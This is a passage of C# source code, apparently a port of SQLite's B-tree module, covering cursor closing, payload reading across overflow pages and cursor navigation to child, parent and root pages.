sqlite3_int64 iRowid)\n    {\n      BtCursor p;\n      for (p = pCur.pBt.pCursor; p != null; p = p.pNext)\n      {\n        if (p.pgnoRoot == pCur.pgnoRoot) p.cachedRowid = iRowid;\n      }\n      Debug.Assert(pCur.cachedRowid == iRowid);\n    }\n\n    /*\n    ** Return the cached rowid for the given cursor.  A negative or zero\n    ** return value indicates that the rowid cache is invalid and should be\n    ** ignored.  If the rowid cache has never before been set, then a\n    ** zero is returned.\n    */\n    static sqlite3_int64 sqlite3BtreeGetCachedRowid(BtCursor pCur)\n    {\n      return pCur.cachedRowid;\n    }\n\n    /*\n    ** Close a cursor.  The read lock on the database file is released\n    ** when the last cursor is closed.\n    */\n    static int sqlite3BtreeCloseCursor(BtCursor pCur)\n    {\n      Btree pBtree = pCur.pBtree;\n      if (pBtree != null)\n      {\n        int i;\n        BtShared pBt = pCur.pBt;\n        sqlite3BtreeEnter(pBtree);\n        sqlite3BtreeClearCursor(pCur);\n        if (pCur.pPrev != null)\n        {\n          pCur.pPrev.pNext = pCur.pNext;\n        }\n        else\n        {\n          pBt.pCursor = pCur.pNext;\n        }\n        if (pCur.pNext != null)\n        {\n          pCur.pNext.pPrev = pCur.pPrev;\n        }\n        for (i = 0; i <= pCur.iPage; i++)\n        {\n          releasePage(pCur.apPage[i]);\n        }\n        unlockBtreeIfUnused(pBt);\n        invalidateOverflowCache(pCur);\n        /* sqlite3_free(ref pCur); */\n        sqlite3BtreeLeave(pBtree);\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Make sure the BtCursor* given in the argument has a valid\n    ** BtCursor.info structure.  If it is not already valid, call\n    ** btreeParseCell() to fill it in.\n    **\n    ** BtCursor.info is a cache of the information in the current cell.\n    ** Using this cache reduces the number of calls to btreeParseCell().\n    **\n    ** 2007-06-25:  There is a bug in some versions of MSVC that cause the\n    ** compiler to crash when getCellInfo() is implemented as a macro.\n    ** But there is a measureable speed advantage to using the macro on gcc\n    ** (when less compiler optimizations like -Os or -O0 are used and the\n    ** compiler is not doing agressive inlining.)  So we use a real function\n    ** for MSVC and a macro for everything else.  Ticket #2457.\n    */\n#if !NDEBUG\n    static void assertCellInfo(BtCursor pCur)\n    {\n      CellInfo info;\n      int iPage = pCur.iPage;\n      info = new CellInfo();//memset(info, 0, sizeof(info));\n      btreeParseCell(pCur.apPage[iPage], pCur.aiIdx[iPage], ref info);\n      Debug.Assert(info.Equals(pCur.info));//memcmp(info, pCur.info, sizeof(info))==0 );\n    }\n#else\n//  #define assertCellInfo(x)\nstatic void assertCellInfo(BtCursor pCur) { }\n#endif\n#if _MSC_VER\n    /* Use a real function in MSVC to work around bugs in that compiler. */\n    static void getCellInfo(BtCursor pCur)\n    {\n      if (pCur.info.nSize == 0)\n      {\n        int iPage = pCur.iPage;\n        btreeParseCell( pCur.apPage[iPage], pCur.aiIdx[iPage], ref pCur.info );\n        pCur.validNKey = true;\n      }\n      else\n      {\n        assertCellInfo(pCur);\n      }\n    }\n#else //* if not _MSC_VER */\n/* Use a macro in all other compilers so that the function is inlined */\n//#define getCellInfo(pCur)                                                      \\\n//  if( pCur.info.nSize==null ){                                                   \\\n//    int iPage = pCur.iPage;                                                   \\\n//    btreeParseCell(pCur.apPage[iPage],pCur.aiIdx[iPage],&pCur.info); \\\n//    pCur.validNKey = true;                                                       \\\n//  }else{                                                                       \\\n//    assertCellInfo(pCur);                                                      \\\n//  }\n#endif //* _MSC_VER */\n\n#if !NDEBUG  //* The next routine used only within Debug.Assert() statements */\n    /*\n** Return true if the given BtCursor is valid.  A valid cursor is one\n** that is currently pointing to a row in a (non-empty) table.\n** This is a verification routine is used only within Debug.Assert() statements.\n*/\n    static bool sqlite3BtreeCursorIsValid(BtCursor pCur)\n    {\n      return pCur != null && pCur.eState == CURSOR_VALID;\n    }\n#else\nstatic bool sqlite3BtreeCursorIsValid(BtCursor pCur) { return true; }\n#endif //* NDEBUG */\n\n    /*\n** Set pSize to the size of the buffer needed to hold the value of\n** the key for the current entry.  If the cursor is not pointing\n** to a valid entry, pSize is set to 0.\n**\n** For a table with the INTKEY flag set, this routine returns the key\n** itself, not the number of bytes in the key.\n**\n** The caller must position the cursor prior to invoking this routine.\n**\n** This routine cannot fail.  It always returns SQLITE_OK.\n*/\n    static int sqlite3BtreeKeySize(BtCursor pCur, ref i64 pSize)\n    {\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_INVALID || pCur.eState == CURSOR_VALID);\n      if (pCur.eState != CURSOR_VALID)\n      {\n        pSize = 0;\n      }\n      else\n      {\n        getCellInfo(pCur);\n        pSize = pCur.info.nKey;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Set pSize to the number of bytes of data in the entry the\n    ** cursor currently points to.\n    **\n    ** The caller must guarantee that the cursor is pointing to a non-NULL\n    ** valid entry.  In other words, the calling procedure must guarantee\n    ** that the cursor has Cursor.eState==CURSOR_VALID.\n    **\n    ** Failure is not possible.  This function always returns SQLITE_OK.\n    ** It might just as well be a procedure (returning void) but we continue\n    ** to return an integer result code for historical reasons.\n    */\n    static int sqlite3BtreeDataSize(BtCursor pCur, ref u32 pSize)\n    {\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      getCellInfo(pCur);\n      pSize = pCur.info.nData;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Given the page number of an overflow page in the database (parameter\n    ** ovfl), this function finds the page number of the next page in the\n    ** linked list of overflow pages. If possible, it uses the auto-vacuum\n    ** pointer-map data instead of reading the content of page ovfl to do so.\n    **\n    ** If an error occurs an SQLite error code is returned. Otherwise:\n    **\n    ** The page number of the next overflow page in the linked list is\n    ** written to pPgnoNext. If page ovfl is the last page in its linked\n    ** list, pPgnoNext is set to zero.\n    **\n    ** If ppPage is not NULL, and a reference to the MemPage object corresponding\n    ** to page number pOvfl was obtained, then ppPage is set to point to that\n    ** reference. It is the responsibility of the caller to call releasePage()\n    ** on ppPage to free the reference. In no reference was obtained (because\n    ** the pointer-map was used to obtain the value for pPgnoNext), then\n    ** ppPage is set to zero.\n    */\n    static int getOverflowPage(\n    BtShared pBt,               /* The database file */\n    Pgno ovfl,                  /* Current overflow page number */\n    ref MemPage ppPage,         /* OUT: MemPage handle (may be NULL) */\n    ref Pgno pPgnoNext          /* OUT: Next overflow page number */\n    )\n    {\n      Pgno next = 0;\n      MemPage pPage = null;\n      int rc = SQLITE_OK;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      // Debug.Assert( pPgnoNext);\n\n#if !SQLITE_OMIT_AUTOVACUUM\n      /* Try to find the next page in the overflow list using the\n** autovacuum pointer-map pages. Guess that the next page in\n** the overflow list is page number (ovfl+1). If that guess turns\n** out to be wrong, fall back to loading the data of page\n** number ovfl to determine the next page number.\n*/\n      if (pBt.autoVacuum)\n      {\n        Pgno pgno = 0;\n        Pgno iGuess = ovfl + 1;\n        u8 eType = 0;\n\n        while (PTRMAP_ISPAGE(pBt, iGuess) || iGuess == PENDING_BYTE_PAGE(pBt))\n        {\n          iGuess++;\n        }\n\n        if (iGuess <= pagerPagecount(pBt))\n        {\n          rc = ptrmapGet(pBt, iGuess, ref eType, ref pgno);\n          if (rc == SQLITE_OK && eType == PTRMAP_OVERFLOW2 && pgno == ovfl)\n          {\n            next = iGuess;\n            rc = SQLITE_DONE;\n          }\n        }\n      }\n#endif\n\n      Debug.Assert(next == 0 || rc == SQLITE_DONE);\n      if (rc == SQLITE_OK)\n      {\n        rc = btreeGetPage(pBt, ovfl, ref pPage, 0);\n        Debug.Assert(rc == SQLITE_OK || pPage == null);\n        if (rc == SQLITE_OK)\n        {\n          next = sqlite3Get4byte(pPage.aData);\n        }\n      }\n\n      pPgnoNext = next;\n      if (ppPage != null)\n      {\n        ppPage = pPage;\n      }\n      else\n      {\n        releasePage(pPage);\n      }\n      return (rc == SQLITE_DONE ? SQLITE_OK : rc);\n    }\n\n    /*\n    ** Copy data from a buffer to a page, or from a page to a buffer.\n    **\n    ** pPayload is a pointer to data stored on database page pDbPage.\n    ** If argument eOp is false, then nByte bytes of data are copied\n    ** from pPayload to the buffer pointed at by pBuf. If eOp is true,\n    ** then sqlite3PagerWrite() is called on pDbPage and nByte bytes\n    ** of data are copied from the buffer pBuf to pPayload.\n    **\n    ** SQLITE_OK is returned on success, otherwise an error code.\n    */\n    static int copyPayload(\n    byte[] pPayload,           /* Pointer to page data */\n    u32 payloadOffset,         /* Offset into page data */\n    byte[] pBuf,               /* Pointer to buffer */\n    u32 pBufOffset,            /* Offset into buffer */\n    u32 nByte,                 /* Number of bytes to copy */\n    int eOp,                   /* 0 . copy from page, 1 . copy to page */\n    DbPage pDbPage             /* Page containing pPayload */\n    )\n    {\n      if (eOp != 0)\n      {\n        /* Copy data from buffer to page (a write operation) */\n        int rc = sqlite3PagerWrite(pDbPage);\n        if (rc != SQLITE_OK)\n        {\n          return rc;\n        }\n        Buffer.BlockCopy(pBuf, (int)pBufOffset, pPayload, (int)payloadOffset, (int)nByte);// memcpy( pPayload, pBuf, nByte );\n      }\n      else\n      {\n        /* Copy data from page to buffer (a read operation) */\n        Buffer.BlockCopy(pPayload, (int)payloadOffset, pBuf, (int)pBufOffset, (int)nByte);//memcpy(pBuf, pPayload, nByte);\n      }\n      return SQLITE_OK;\n    }\n    //static int copyPayload(\n    //  byte[] pPayload,           /* Pointer to page data */\n    //  byte[] pBuf,               /* Pointer to buffer */\n    //  int nByte,                 /* Number of bytes to copy */\n    //  int eOp,                   /* 0 -> copy from page, 1 -> copy to page */\n    //  DbPage pDbPage             /* Page containing pPayload */\n    //){\n    //  if( eOp!=0 ){\n    //    /* Copy data from buffer to page (a write operation) */\n    //    int rc = sqlite3PagerWrite(pDbPage);\n    //    if( rc!=SQLITE_OK ){\n    //      return rc;\n    //    }\n    //    memcpy(pPayload, pBuf, nByte);\n    //  }else{\n    //    /* Copy data from page to buffer (a read operation) */\n    //    memcpy(pBuf, pPayload, nByte);\n    //  }\n    //  return SQLITE_OK;\n    //}\n\n    /*\n    ** This function is used to read or overwrite payload information\n    ** for the entry that the pCur cursor is pointing to. If the eOp\n    ** parameter is 0, this is a read operation (data copied into\n    ** buffer pBuf). If it is non-zero, a write (data copied from\n    ** buffer pBuf).\n    **\n    ** A total of \"amt\" bytes are read or written beginning at \"offset\".\n    ** Data is read to or from the buffer pBuf.\n    **\n    ** The content being read or written might appear on the main page\n    ** or be scattered out on multiple overflow pages.\n    **\n    ** If the BtCursor.isIncrblobHandle flag is set, and the current\n    ** cursor entry uses one or more overflow pages, this function\n    ** allocates space for and lazily popluates the overflow page-list\n    ** cache array (BtCursor.aOverflow). Subsequent calls use this\n    ** cache to make seeking to the supplied offset more efficient.\n    **\n    ** Once an overflow page-list cache has been allocated, it may be\n    ** invalidated if some other cursor writes to the same table, or if\n    ** the cursor is moved to a different row. Additionally, in auto-vacuum\n    ** mode, the following events may invalidate an overflow page-list cache.\n    **\n    **   * An incremental vacuum,\n    **   * A commit in auto_vacuum=\"full\" mode,\n    **   * Creating a table (may require moving an overflow page).\n    */\n    static int accessPayload(\n    BtCursor pCur,      /* Cursor pointing to entry to read from */\n    u32 offset,         /* Begin reading this far into payload */\n    u32 amt,            /* Read this many bytes */\n    byte[] pBuf,        /* Write the bytes into this buffer */\n    int eOp             /* zero to read. non-zero to write. */\n    )\n    {\n      u32 pBufOffset = 0;\n      byte[] aPayload;\n      int rc = SQLITE_OK;\n      u32 nKey;\n      int iIdx = 0;\n      MemPage pPage = pCur.apPage[pCur.iPage]; /* Btree page of current entry */\n      BtShared pBt = pCur.pBt;                  /* Btree this cursor belongs to */\n\n      Debug.Assert(pPage != null);\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell);\n      Debug.Assert(cursorHoldsMutex(pCur));\n\n      getCellInfo(pCur);\n      aPayload = pCur.info.pCell; //pCur.info.pCell + pCur.info.nHeader;\n      nKey = (u32)(pPage.intKey != 0 ? 0 : (int)pCur.info.nKey);\n\n      if (NEVER(offset + amt > nKey + pCur.info.nData)\n      || pCur.info.nLocal > pBt.usableSize//&aPayload[pCur.info.nLocal] > &pPage.aData[pBt.usableSize]\n      )\n      {\n        /* Trying to read or write past the end of the data is an error */\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n\n      /* Check if data must be read/written to/from the btree page itself. */\n      if (offset < pCur.info.nLocal)\n      {\n        int a = (int)amt;\n        if (a + offset > pCur.info.nLocal)\n        {\n          a = (int)(pCur.info.nLocal - offset);\n        }\n        rc = copyPayload(aPayload, (u32)(offset + pCur.info.iCell + pCur.info.nHeader), pBuf, pBufOffset, (u32)a, eOp, pPage.pDbPage);\n        offset = 0;\n        pBufOffset += (u32)a; //pBuf += a;\n        amt -= (u32)a;\n      }\n      else\n      {\n        offset -= pCur.info.nLocal;\n      }\n\n      if (rc == SQLITE_OK && amt > 0)\n      {\n        u32 ovflSize = (u32)(pBt.usableSize - 4);  /* Bytes content per ovfl page */\n        Pgno nextPage;\n\n        nextPage = sqlite3Get4byte(aPayload, pCur.info.nLocal + pCur.info.iCell + pCur.info.nHeader);\n\n#if !SQLITE_OMIT_INCRBLOB\n/* If the isIncrblobHandle flag is set and the BtCursor.aOverflow[]\n** has not been allocated, allocate it now. The array is sized at\n** one entry for each overflow page in the overflow chain. The\n** page number of the first overflow page is stored in aOverflow[0],\n** etc. A value of 0 in the aOverflow[] array means \"not yet known\"\n** (the cache is lazily populated).\n*/\nif( pCur.isIncrblobHandle && !pCur.aOverflow ){\nint nOvfl = (pCur.info.nPayload-pCur.info.nLocal+ovflSize-1)/ovflSize;\npCur.aOverflow = (Pgno *)sqlite3MallocZero(sizeof(Pgno)*nOvfl);\n/* nOvfl is always positive.  If it were zero, fetchPayload would have\n** been used instead of this routine. */\nif( ALWAYS(nOvfl) && !pCur.aOverflow ){\nrc = SQLITE_NOMEM;\n}\n}\n\n/* If the overflow page-list cache has been allocated and the\n** entry for the first required overflow page is valid, skip\n** directly to it.\n*/\nif( pCur.aOverflow && pCur.aOverflow[offset/ovflSize] ){\niIdx = (offset/ovflSize);\nnextPage = pCur.aOverflow[iIdx];\noffset = (offset%ovflSize);\n}\n#endif\n\n        for (; rc == SQLITE_OK && amt > 0 && nextPage != 0; iIdx++)\n        {\n\n#if !SQLITE_OMIT_INCRBLOB\n/* If required, populate the overflow page-list cache. */\nif( pCur.aOverflow ){\nDebug.Assert(!pCur.aOverflow[iIdx] || pCur.aOverflow[iIdx]==nextPage);\npCur.aOverflow[iIdx] = nextPage;\n}\n#endif\n\n          MemPage MemPageDummy = null;\n          if (offset >= ovflSize)\n          {\n            /* The only reason to read this page is to obtain the page\n            ** number for the next page in the overflow chain. The page\n            ** data is not required. So first try to lookup the overflow\n            ** page-list cache, if any, then fall back to the getOverflowPage()\n            ** function.\n            */\n#if !SQLITE_OMIT_INCRBLOB\nif( pCur.aOverflow && pCur.aOverflow[iIdx+1] ){\nnextPage = pCur.aOverflow[iIdx+1];\n} else\n#endif\n            rc = getOverflowPage(pBt, nextPage, ref  MemPageDummy, ref nextPage);\n            offset -= ovflSize;\n          }\n          else\n          {\n            /* Need to read this page properly. It contains some of the\n            ** range of data that is being read (eOp==null) or written (eOp!=null).\n            */\n            DbPage pDbPage = new PgHdr();\n            int a = (int)amt;\n            rc = sqlite3PagerGet(pBt.pPager, nextPage, ref pDbPage);\n            if (rc == SQLITE_OK)\n            {\n              aPayload = sqlite3PagerGetData(pDbPage);\n              nextPage = sqlite3Get4byte(aPayload);\n              if (a + offset > ovflSize)\n              {\n                a = (int)(ovflSize - offset);\n              }\n              rc = copyPayload(aPayload, offset + 4, pBuf, pBufOffset, (u32)a, eOp, pDbPage);\n              sqlite3PagerUnref(pDbPage);\n              offset = 0;\n              amt -= (u32)a;\n              pBufOffset += (u32)a;//pBuf += a;\n            }\n          }\n        }\n      }\n\n      if (rc == SQLITE_OK && amt > 0)\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      return rc;\n    }\n\n    /*\n    ** Read part of the key associated with cursor pCur.  Exactly\n    ** \"amt\" bytes will be transfered into pBuf[].  The transfer\n    ** begins at \"offset\".\n    **\n    ** The caller must ensure that pCur is pointing to a valid row\n    ** in the table.\n    **\n    ** Return SQLITE_OK on success or an error code if anything goes\n    ** wrong.  An error is returned if \"offset+amt\" is larger than\n    ** the available payload.\n    */\n    static int sqlite3BtreeKey(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf)\n    {\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null);\n      Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell);\n      return accessPayload(pCur, offset, amt, pBuf, 0);\n    }\n\n    /*\n    ** Read part of the data associated with cursor pCur.  Exactly\n    ** \"amt\" bytes will be transfered into pBuf[].  The transfer\n    ** begins at \"offset\".\n    **\n    ** Return SQLITE_OK on success or an error code if anything goes\n    ** wrong.  An error is returned if \"offset+amt\" is larger than\n    ** the available payload.\n    */\n    static int sqlite3BtreeData(BtCursor pCur, u32 offset, u32 amt, byte[] pBuf)\n    {\n      int rc;\n\n#if !SQLITE_OMIT_INCRBLOB\nif ( pCur.eState==CURSOR_INVALID ){\nreturn SQLITE_ABORT;\n}\n#endif\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      rc = restoreCursorPosition(pCur);\n      if (rc == SQLITE_OK)\n      {\n        Debug.Assert(pCur.eState == CURSOR_VALID);\n        Debug.Assert(pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null);\n        Debug.Assert(pCur.aiIdx[pCur.iPage] < pCur.apPage[pCur.iPage].nCell);\n        rc = accessPayload(pCur, offset, amt, pBuf, 0);\n      }\n      return rc;\n    }\n\n    /*\n    ** Return a pointer to payload information from the entry that the\n    ** pCur cursor is pointing to.  The pointer is to the beginning of\n    ** the key if skipKey==null and it points to the beginning of data if\n    ** skipKey==1.  The number of bytes of available key/data is written\n    ** into pAmt.  If pAmt==null, then the value returned will not be\n    ** a valid pointer.\n    **\n    ** This routine is an optimization.  It is common for the entire key\n    ** and data to fit on the local page and for there to be no overflow\n    ** pages.  When that is so, this routine can be used to access the\n    ** key and data without making a copy.  If the key and/or data spills\n    ** onto overflow pages, then accessPayload() must be used to reassemble\n    ** the key/data and copy it into a preallocated buffer.\n    **\n    ** The pointer returned by this routine looks directly into the cached\n    ** page of the database.  The data might change or move the next time\n    ** any btree routine is called.\n    */\n    static byte[] fetchPayload(\n    BtCursor pCur,   /* Cursor pointing to entry to read from */\n    ref int pAmt,    /* Write the number of available bytes here */\n    ref int outOffset, /* Offset into Buffer */\n    bool skipKey    /* read beginning at data if this is true */\n    )\n    {\n      byte[] aPayload;\n      MemPage pPage;\n      u32 nKey;\n      u32 nLocal;\n\n      Debug.Assert(pCur != null && pCur.iPage >= 0 && pCur.apPage[pCur.iPage] != null);\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      Debug.Assert(cursorHoldsMutex(pCur));\n      outOffset = -1;\n      pPage = pCur.apPage[pCur.iPage];\n      Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell);\n      if (NEVER(pCur.info.nSize == 0))\n      {\n        btreeParseCell(pCur.apPage[pCur.iPage], pCur.aiIdx[pCur.iPage],\n        ref pCur.info );\n      }\n      //aPayload = pCur.info.pCell;\n      //aPayload += pCur.info.nHeader;\n      aPayload = new byte[pCur.info.nSize - pCur.info.nHeader];\n      if (pPage.intKey != 0)\n      {\n        nKey = 0;\n      }\n      else\n      {\n        nKey = (u32)pCur.info.nKey;\n      }\n      if ( skipKey )\n      {\n        //aPayload += nKey;\n        outOffset = (int)( pCur.info.iCell + pCur.info.nHeader + nKey );\n        Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, (int)( pCur.info.nSize - pCur.info.nHeader - nKey ) );\n        nLocal = pCur.info.nLocal - nKey;\n      }\n      else\n      {\n        outOffset = (int)( pCur.info.iCell + pCur.info.nHeader );\n        Buffer.BlockCopy( pCur.info.pCell, outOffset, aPayload, 0, pCur.info.nSize - pCur.info.nHeader );\n        nLocal = pCur.info.nLocal;\n        Debug.Assert( nLocal <= nKey );\n      }\n      pAmt = (int)nLocal;\n      return aPayload;\n    }\n\n    /*\n    ** For the entry that cursor pCur is point to, return as\n    ** many bytes of the key or data as are available on the local\n    ** b-tree page.  Write the number of available bytes into pAmt.\n    **\n    ** The pointer returned is ephemeral.  The key/data may move\n    ** or be destroyed on the next call to any Btree routine,\n    ** including calls from other threads against the same cache.\n    ** Hence, a mutex on the BtShared should be held prior to calling\n    ** this routine.\n    **\n    ** These routines is used to get quick access to key and data\n    ** in the common case where no overflow pages are used.\n    */\n    static byte[] sqlite3BtreeKeyFetch( BtCursor pCur, ref int pAmt, ref int outOffset )\n    {\n      byte[] p = null;\n      Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) );\n      Debug.Assert( cursorHoldsMutex( pCur ) );\n      if ( ALWAYS( pCur.eState == CURSOR_VALID ) )\n      {\n        p = fetchPayload( pCur, ref pAmt, ref outOffset, false );\n      }\n      return p;\n    }\n    static byte[] sqlite3BtreeDataFetch( BtCursor pCur, ref int pAmt, ref int outOffset )\n    {\n      byte[] p = null;\n      Debug.Assert( sqlite3_mutex_held( pCur.pBtree.db.mutex ) );\n      Debug.Assert( cursorHoldsMutex( pCur ) );\n      if ( ALWAYS( pCur.eState == CURSOR_VALID ) )\n      {\n        p = fetchPayload( pCur, ref pAmt, ref outOffset, true );\n      }\n      return p;\n    }\n\n    /*\n    ** Move the cursor down to a new child page.  The newPgno argument is the\n    ** page number of the child page to move to.\n    **\n    ** This function returns SQLITE_CORRUPT if the page-header flags field of\n    ** the new child page does not match the flags field of the parent (i.e.\n    ** if an intkey page appears to be the parent of a non-intkey page, or\n    ** vice-versa).\n    */\n    static int moveToChild(BtCursor pCur, u32 newPgno)\n    {\n      int rc;\n      int i = pCur.iPage;\n      MemPage pNewPage = new MemPage();\n      BtShared pBt = pCur.pBt;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      Debug.Assert(pCur.iPage < BTCURSOR_MAX_DEPTH);\n      if (pCur.iPage >= (BTCURSOR_MAX_DEPTH - 1))\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      rc = getAndInitPage(pBt, newPgno, ref pNewPage);\n      if (rc != 0) return rc;\n      pCur.apPage[i + 1] = pNewPage;\n      pCur.aiIdx[i + 1] = 0;\n      pCur.iPage++;\n\n      pCur.info.nSize = 0;\n      pCur.validNKey = false;\n      if (pNewPage.nCell < 1 || pNewPage.intKey != pCur.apPage[i].intKey)\n      {\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      }\n      return SQLITE_OK;\n    }\n\n#if !NDEBUG\n    /*\n** Page pParent is an internal (non-leaf) tree page. This function\n** asserts that page number iChild is the left-child if the iIdx'th\n** cell in page pParent. Or, if iIdx is equal to the total number of\n** cells in pParent, that page number iChild is the right-child of\n** the page.\n*/\n    static void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild)\n    {\n      Debug.Assert(iIdx <= pParent.nCell);\n      if (iIdx == pParent.nCell)\n      {\n        Debug.Assert(sqlite3Get4byte(pParent.aData, pParent.hdrOffset + 8) == iChild);\n      }\n      else\n      {\n        Debug.Assert(sqlite3Get4byte(pParent.aData, findCell(pParent, iIdx)) == iChild);\n      }\n    }\n#else\n//#  define assertParentIndex(x,y,z)\nstatic void assertParentIndex(MemPage pParent, int iIdx, Pgno iChild) { }\n#endif\n\n    /*\n** Move the cursor up to the parent page.\n**\n** pCur.idx is set to the cell index that contains the pointer\n** to the page we are coming from.  If we are coming from the\n** right-most child page then pCur.idx is set to one more than\n** the largest cell index.\n*/\n    static void moveToParent(BtCursor pCur)\n    {\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      Debug.Assert(pCur.iPage > 0);\n      Debug.Assert(pCur.apPage[pCur.iPage] != null);\n      assertParentIndex(\n      pCur.apPage[pCur.iPage - 1],\n      pCur.aiIdx[pCur.iPage - 1],\n      pCur.apPage[pCur.iPage].pgno\n      );\n      releasePage(pCur.apPage[pCur.iPage]);\n      pCur.iPage--;\n      pCur.info.nSize = 0;\n      pCur.validNKey = false;\n    }\n\n    /*\n    ** Move the cursor to point to the root page of its b-tree structure.\n    **\n    ** If the table has a virtual root page, then the cursor is moved to point\n    ** to the virtual root page instead of the actual root page. A table has a\n    ** virtual root page when the actual root page contains no cells and a\n    ** single child page. This can only happen with the table rooted at page 1.\n    **\n    ** If the b-tree structure is empty, the cursor state is set to\n    ** CURSOR_INVALID. Otherwise, the cursor is set to point to the first\n    ** cell located on the root (or virtual root) page and the cursor state\n    ** is set to CURSOR_VALID.\n    **\n    ** If this function returns successfully, it may be assumed that the\n    ** page-header flags indicate that the [virtual] root-page is the expected\n    ** kind of b-tree page (i.e. if when opening the cursor the caller did not\n    ** specify a KeyInfo structure the flags byte is set to 0x05 or 0x0D,\n    ** indicating a table b-tree, or if the caller did specify a KeyInfo\n    ** structure the flags byte is set to 0x02 or 0x0A, indicating an index\n    ** b-tree).\n    */\n    static int moveToRoot(BtCursor pCur)\n    {\n      MemPage pRoot;\n      int rc = SQLITE_OK;\n      Btree p = pCur.pBtree;\n      BtShared pBt = p.pBt;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(CURSOR_INVALID < CURSOR_REQUIRESEEK);\n      Debug.Assert(CURSOR_VALID < CURSOR_REQUIRESEEK);\n      Debug.Assert(CURSOR_FAULT > CURSOR_REQUIRESEEK);\n      if (pCur.eState >= CURSOR_REQUIRESEEK)\n      {\n        if (pCur.eState == CURSOR_FAULT)\n        {\n          Debug.Assert(pCur.skipNext != SQLITE_OK);\n          return pCur.skipNext;\n        }\n        sqlite3BtreeClearCursor(pCur);\n      }\n\n      if (pCur.iPage >= 0)\n      {\n        int i;\n        for (i = 1; i <= pCur.iPage; i++)\n        {\n          releasePage(pCur.apPage[i]);\n        }\n        pCur.iPage = 0;\n      }\n      else\n      {\n        rc = getAndInitPage(pBt, pCur.pgnoRoot, ref pCur.apPage[0]);\n        if (rc != SQLITE_OK)\n        {\n          pCur.eState = CURSOR_INVALID;\n          return rc;\n        }\n        pCur.iPage = 0;\n\n        /* If pCur.pKeyInfo is not NULL, then the caller that opened this cursor\n        ** expected to open it on an index b-tree. Otherwise, if pKeyInfo is\n        ** NULL, the caller expects a table b-tree. If this is not the case,\n        ** return an SQLITE_CORRUPT error.  */\n        Debug.Assert(pCur.apPage[0].intKey == 1 || pCur.apPage[0].intKey == 0);\n        if ((pCur.pKeyInfo == null) != (pCur.apPage[0].intKey != 0))\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n      }\n\n      /* Assert that the root page is of the correct type. This must be the\n      ** case as the call to this function that loaded the root-page (either\n      ** this call or a previous invocation) would have detected corruption\n      ** if the assumption were not true, and it is not possible for the flags\n      ** byte to have been modified while this cursor is holding a reference\n      ** to the page.  */\n      pRoot = pCur.apPage[0];\n      Debug.Assert(pRoot.pgno == pCur.pgnoRoot);\n      Debug.Assert(pRoot.isInit != 0 && (pCur.pKeyInfo == null) == (pRoot.intKey != 0));\n\n      pCur.aiIdx[0] = 0;\n      pCur.info.nSize = 0;\n      pCur.atLast = 0;\n      pCur.validNKey = false;\n\n      if (pRoot.nCell == 0 && 0 == pRoot.leaf)\n      {\n        Pgno subpage;\n        if (pRoot.pgno != 1)\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        subpage = sqlite3Get4byte(pRoot.aData, pRoot.hdrOffset + 8);\n        pCur.eState = CURSOR_VALID;\n        rc = moveToChild(pCur, subpage);\n      }\n      else\n      {\n        pCur.eState = ((pRoot.nCell > 0) ? CURSOR_VALID : CURSOR_INVALID);\n      }\n      return rc;\n    }\n\n    /*\n    ** Move the cursor down to the left-most leaf entry beneath the\n    ** entry to which it is currently pointing.\n    **\n    ** The left-most leaf is the one with the smallest key - the first\n    ** in ascending order.\n    */\n    static int moveToLeftmost(BtCursor pCur)\n    {\n      Pgno pgno;\n      int rc = SQLITE_OK;\n      MemPage pPage;\n\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState == CURSOR_VALID);\n      while (rc == SQLITE_OK && 0 == (pPage = pCur.apPage[pCur.iPage]).leaf)\n      {\n        Debug.Assert(pCur.aiIdx[pCur.iPage] < pPage.nCell);\n        pgno = sqlite3Get4byte(pPage.aData, findCell(pPage, pCur.aiIdx[pCur.iPage]));\n        rc = moveToChild(pCur, pgno);\n      }\n      return rc;\n    }\n\n    /*\n    ** Move the cursor down to the right-most leaf entry beneath the\n    ** page to which it is currently pointing.  Notice the difference\n    ** between moveToLeftmost() and moveToRightmost().  moveToLeftmost()\n    ** finds the left-most entry beneath the 